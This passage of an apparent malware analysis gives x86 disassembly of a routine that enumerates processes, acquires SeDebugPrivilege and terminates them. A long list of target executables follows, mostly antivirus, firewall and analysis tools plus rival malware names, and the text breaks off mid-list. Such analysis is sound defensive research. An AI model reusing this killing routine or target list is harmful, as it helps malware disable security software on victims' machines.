D8FEFFFF push dword ptr ss:[ebp-128] 00414754. 85C0 test eax,eax 00414756. 74 0E je short 3.00414766 00414758. 8D85 CCFDFFFF lea eax,dword ptr ss:[ebp-234] 0041475E. EB 0C jmp short 3.0041476C 00414760 > FFB5 D8FEFFFF push dword ptr ss:[ebp-128] 00414766 > 8D85 F4FEFFFF lea eax,dword ptr ss:[ebp-10c] 0041476C > 50 push eax 0041476D. 8D85 ACFAFFFF lea eax,dword ptr ss:[ebp-554] 00414773. 68 64984300 push 3.00439864 ; %s (%d) 00414778. 50 push eax 00414779. E8 C7260000 call 3.00416E45 0041477E. 83C4 10 add esp,10 00414781. 8D85 ACFAFFFF lea eax,dword ptr ss:[ebp-554] 00414787. 6A 01 push 1 00414789. FF75 10 push dword ptr ss:[ebp+10] 0041478C. 50 push eax 0041478D. FF75 0C push dword ptr ss:[ebp+c] 00414790. FF75 08 push dword ptr ss:[ebp+8] 00414793. E8 7083FFFF call 3.0040CB08 00414798. 83C4 14 add esp,14 0041479B.^ E9 63FFFFFF jmp 3.00414703
004147A0 > FF75 14 push dword ptr ss:[ebp+14] 004147A3. 8D85 F4FEFFFF lea eax,dword ptr ss:[ebp-10c] 004147A9. 50 push eax 004147AA. E8 B12A0000 call 3.00417260 004147AF. 59 pop ecx 004147B0. 85C0 test eax,eax 004147B2. 59 pop ecx 004147B3. 74 33 je short 3.004147E8 004147B5 > 8D85 D0FEFFFF lea eax,dword ptr ss:[ebp-130] 004147BB. 50 push eax 004147BC. FF75 F8 push dword ptr ss:[ebp-8] 004147BF. FF15 78594400 call dword ptr ds:[445978] ; kernel32.process32next 004147C5. 85C0 test eax,eax 004147C7.^ 0F85 D9FEFFFF \jnz 3.004146A6 004147CD. 33DB xor ebx,ebx 004147CF > FF75 F8 push dword ptr ss:[ebp-8] 004147D2. FFD6 call esi 004147D4 > 53 push ebx 004147D5. 68 D8934200 push 3.004293D8 ; SeDebugPrivilege 004147DA. E8 98FDFFFF call 3.00414577 004147DF. 59 pop ecx 004147E0. 59 pop ecx 004147E1 > 33C0 xor eax,eax 004147E3 > 5F pop edi 004147E4. 5E pop esi 004147E5. 5B pop ebx 004147E6. C9 leave 004147E7. C3 retn 004147E8 > FFB5 D8FEFFFF push dword ptr ss:[ebp-128] 004147EE. 6A 00 push 0 004147F0. 53 push ebx 004147F1. FFD7 call edi 004147F3. FF75 F8 push dword ptr ss:[ebp-8] 004147F6. 8BF8 mov edi,eax 004147F8. FFD6 call esi 004147FA. 6A 00 push 0 ; /ExitCode = 0 004147FC. 57 push edi ; hprocess 004147FD. FF15 60114200 call dword ptr ds:[<&kernel32.terminateprocess>] ; \TerminateProcess 00414803. 85C0 test eax,eax 00414805. 75 05 jnz short 3.0041480C 00414807. 57 push edi 00414808. FFD6 call esi 0041480A.^ EB D5 jmp short 3.004147E1 0041480C > 6A 01 push 1 0041480E. 58 pop eax 0041480F \.^ EB D2 jmp short 3.004147E3 要结束的进程大约有这些 : r54n4.exe,irun4.exe,d3dupdate.exe,rate.exe,ssate.exe,winsys.exe,winupd.exe,sysmonxp.exe,bbeagle.exe,penis32.exe, mscvb32.exe, sysinfo.exe, PandaAVEngine.exe, F-AGOBOT.EXE, HIJACKTHIS.EXE, _AVPM.EXE, _AVPCC.EXE, _AVP32.EXE, ZONEALARM.EXE, ZONALM2601.EXE, ZATUTOR.EXE, ZAPSETUP3001.EXE, ZAPRO.EXE, XPF202EN.EXE,WYVERNWORKSFIREWALL.EXE,WUPDT.EXE,WUPDATER.EXE,WSBGATE.EXE,WRCTRL.EXE, WRADMIN.EXE,WNT.EXE,WNAD.EXE,WKUFIND.EXE,WINUPDATE.EXE,WINTSK32.EXE,WINSTART001.EXE,
WINSTART.EXE,WINSSK32.EXE,WINSERVN.EXE,WINRECON.EXE,WINPPR32.EXE,WINNET.EXE,WINMAIN.EXE, WINLOGIN.EXE,WININITX.EXE,WININIT.EXE,WININETD.EXE,WINDOWS.EXE,WINDOW.EXE,WINACTIVE.EXE, WIN32US.EXE, WIN32.EXE, WIN-BUGSFIX.EXE, WIMMUN32.EXE, WHOSWATCHINGME.EXE, WGFE95.EXE, WFINDV32.EXE,WEBTRAP.EXE,WEBSCANX.EXE,WEBDAV.EXE,WATCHDOG.EXE,W9X.EXE,W32DSM89.EXE, VSWINPERSE.EXE,VSWINNTSE.EXE,VSWIN9XE.EXE,VSSTAT.EXE,VSMON.EXE,VSMAIN.EXE,VSISETUP.EXE, VSHWIN32.EXE,VSECOMR.EXE,VSCHED.EXE,VSCENU6.02D30.EXE,VSCAN40.EXE,VPTRAY.EXE,VPFW30S.EXE, VPC42.EXE,VPC32.EXE,VNPC3000.EXE,VNLAN300.EXE,VIRUSMDPERSONALFIREWALL.EXE,VIR-HELP.EXE, VFSETUP.EXE, VETTRAY.EXE, VET95.EXE, VET32.EXE, VCSETUP.EXE, VBWINNTW.EXE, VBWIN9X.EXE, VBUST.EXE, VBCONS.EXE, VBCMSERV.EXE, UTPOST.EXE, UPGRAD.EXE, UPDATE.EXE, UPDAT.EXE, UNDOBOOT.EXE,TVTMD.EXE,TVMD.EXE,TSADBOT.EXE,TROJANTRAP3.EXE,TRJSETUP.EXE,TRJSCAN.EXE, TRICKLER.EXE, TRACERT.EXE, TITANINXP.EXE, TITANIN.EXE, TGBOB.EXE, TFAK5.EXE, TFAK.EXE, TEEKIDS.EXE,TDS2-NT.EXE,TDS2-98.EXE,TDS-3.EXE,TCM.EXE,TCA.EXE,TC.EXE,TBSCAN.EXE,TAUMON.EXE, TASKMON.EXE, TASKMO.EXE,TASKMG.EXE,SYSUPD.EXE,SYSTEM32.EXE,SYSTEM.EXE,SYSEDIT.EXE, SYMTRAY.EXE,SYMPROXYSVC.EXE,SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE,SWEEP95.EXE,SVSHOST.EXE, SVCHOSTS.EXE,SVCHOSTC.EXE,SVC.EXE,SUPPORTER5.EXE,SUPPORT.EXE,SUPFTRL.EXE,STCLOADER.EXE, START.EXE, ST2.EXE, SSG_4104.EXE, SSGRATE.EXE, SS3EDIT.EXE, SRNG.EXE, SREXE.EXE, SPYXX.EXE, SPOOLSV32.EXE,SPOOLCV.EXE,SPOLER.EXE,SPHINX.EXE,SPF.EXE,SPERM.EXE,SOFI.EXE,SOAP.EXE, SMSS32.EXE, SMS.EXE, SMC.EXE, SHOWBEHIND.EXE, SHN.EXE, SHELLSPYINSTALL.EXE, SH.EXE, SGSSFW32.EXE, SFC.EXE, SETUP_FLOWPROTECTOR_US.EXE, SETUPVAMEEVAL.EXE, SERVLCES.EXE, SERVLCE.EXE,SERVICE.EXE,SERV95.EXE,SD.EXE,SCVHOST.EXE,SCRSVR.EXE,SCRSCAN.EXE,SCANPM.EXE, SCAN95.EXE,SCAN32.EXE,SCAM32.EXE,SC.EXE,SBSERV.EXE,SAVENOW.EXE,SAVE.EXE,SAHAGENT.EXE, SAFEWEB.EXE, RUXDLL32.EXE, RUNDLL16.EXE, RUNDLL.EXE, RUN32DLL.EXE, RULAUNCH.EXE, RTVSCN95.EXE,RTVSCAN.EXE,RSHELL.EXE,RRGUARD.EXE,RESCUE32.EXE,RESCUE.EXE,REGEDT32.EXE, REGEDIT.EXE, REGED.EXE, REALMON.EXE, RCSYNC.EXE, RB32.EXE, RAY.EXE, RAV8WIN32ENG.EXE, RAV7WIN.EXE,RAV7.EXE,RAPAPP.EXE,QSERVER.EXE,QCONSOLE.EXE,PVIEW95.EXE,PUSSY.EXE,PURGE.EXE, PSPF.EXE, PROTECTX.EXE, PROPORT.EXE, PROGRAMAUDITOR.EXE, PROCEXPLORERV1.0.EXE, PROCESSMONITOR.EXE, PROCDUMP.EXE, PRMVR.EXE, PRMT.EXE, PRIZESURFER.EXE, PPVSTOP.EXE, PPTBC.EXE,PPINUPDT.EXE,POWERSCAN.EXE,PORTMONITOR.EXE,PORTDETECTIVE.EXE,POPSCAN.EXE, POPROXY.EXE,POP3TRAP.EXE,PLATIN.EXE,PINGSCAN.EXE,PGMONITR.EXE,PFWADMIN.EXE,PF2.EXE, PERSWF.EXE, PERSFW.EXE, PERISCOPE.EXE, PENIS.EXE, PDSETUP.EXE, PCSCAN.EXE, PCIP10117_0.EXE, PCFWALLICON.EXE, PCDSETUP.EXE, PCCWIN98.EXE, PCCWIN97.EXE, PCCNTMON.EXE, PCCIOMON.EXE, PCC2K_76_1436.EXE,PCC2002S902.EXE,PAVW.EXE,PAVSCHED.EXE,PAVPROXY.EXE,PAVCL.EXE,PATCH.EXE, PANIXK.EXE,PADMIN.EXE,OUTPOSTPROINSTALL.EXE,OUTPOSTINSTALL.EXE,OUTPOST.EXE,OTFIX.EXE, OSTRONET.EXE,OPTIMIZE.EXE,ONSRVR.EXE,OLLYDBG.EXE,NWTOOL16.EXE,NWSERVICE.EXE,NWINST4.EXE, NVSVC32.EXE, NVC95.EXE, NVARCH16.EXE, NUPGRADE.EXE, NUI.EXE, NTXconfig.EXE, NTVDM.EXE, NTRTSCAN.EXE, NT.EXE, NSUPDATE.EXE, NSTASK32.EXE, NSSYS32.EXE, NSCHED32.EXE, NPSSVC.EXE, NPSCHECK.EXE, NPROTECT.EXE, NPFMESSENGER.EXE, NPF40_TW_98_NT_ME_2K.EXE, NOTSTART.EXE, NORTON_INTERNET_SECU_3.0_407.EXE,NORMIST.EXE,NOD32.EXE,NMAIN.EXE,NISUM.EXE,NISSERV.EXE, NETUTILS.EXE,NETSTAT.EXE, NETSPYHUNTER-1.2.EXE,NETSCANPRO.EXE, NETMON.EXE,NETINFO.EXE, NETD32.EXE,NETARMOR.EXE,NEOWATCHLOG.EXE,NEOMONITOR.EXE,NDD32.EXE,NCINST4.EXE,NC2000.EXE, NAVWNT.EXE,NAVW32.EXE, NAVSTUB.EXE, NAVNT.EXE, NAVLU32.EXE, NAVENGNAVEX15.NAVLU32.EXE, NAVDX.EXE,NAVAPW32.EXE,NAVAPSVC.EXE,NAVAP.NAVAPSVC.EXE,AUTO-PROTECT.NAV80TRY.EXE,NAV.EXE, N32SCANW.EXE,MWATCH.EXE,MU0311AD.EXE,MSVXD.EXE,MSSYS.EXE,MSSMMC32.EXE,MSMSGRI32.EXE, MSMGT.EXE,MSLAUGH.EXE,MSINFO32.EXE,MSIEXEC16.EXE,MSDOS.EXE,MSDM.EXE,MSCONFIG.EXE, MSCMAN.EXE, MSCCN32.EXE, MSCACHE.EXE, MSBLAST.EXE, MSBB.EXE, MSAPP.EXE, MRFLUX.EXE, MPFTRAY.EXE,MPFSERVICE.EXE,MPFAGENT.EXE,MOSTAT.EXE,MOOLIVE.EXE,MONITOR.EXE,MMOD.EXE, MINILOG.EXE,MGUI.EXE,MGHTML.EXE,MGAVRTE.EXE,MGAVRTCL.EXE,MFWENG3.02D30.EXE,MFW2EN.EXE, MFIN32.EXE, MD.EXE,MCVSSHLD.EXE, MCVSRTE.EXE,MCUPDATE.EXE, MCTOOL.EXE, MCSHIELD.EXE, MCMNHDLR.EXE,MCAGENT.EXE,MAPISVC32.EXE,LUSPT.EXE,LUINIT.EXE,LUCOMSERVER.EXE,LUAU.EXE, LUALL.EXE, LSETUP.EXE, LORDPE.EXE, LOOKOUT.EXE, LOCKDOWN2000.EXE, LOCKDOWN.EXE, LOCALNET.EXE,LOADER.EXE,LNETINFO.EXE,LDSCAN.EXE,LDPROMENU.EXE,LDPRO.EXE,LDNETMON.EXE, LAUNCHER.EXE, KILLPROCESSSETUP161.EXE, KERNEL32.EXE, KERIO-WRP-421-EN-WIN.EXE,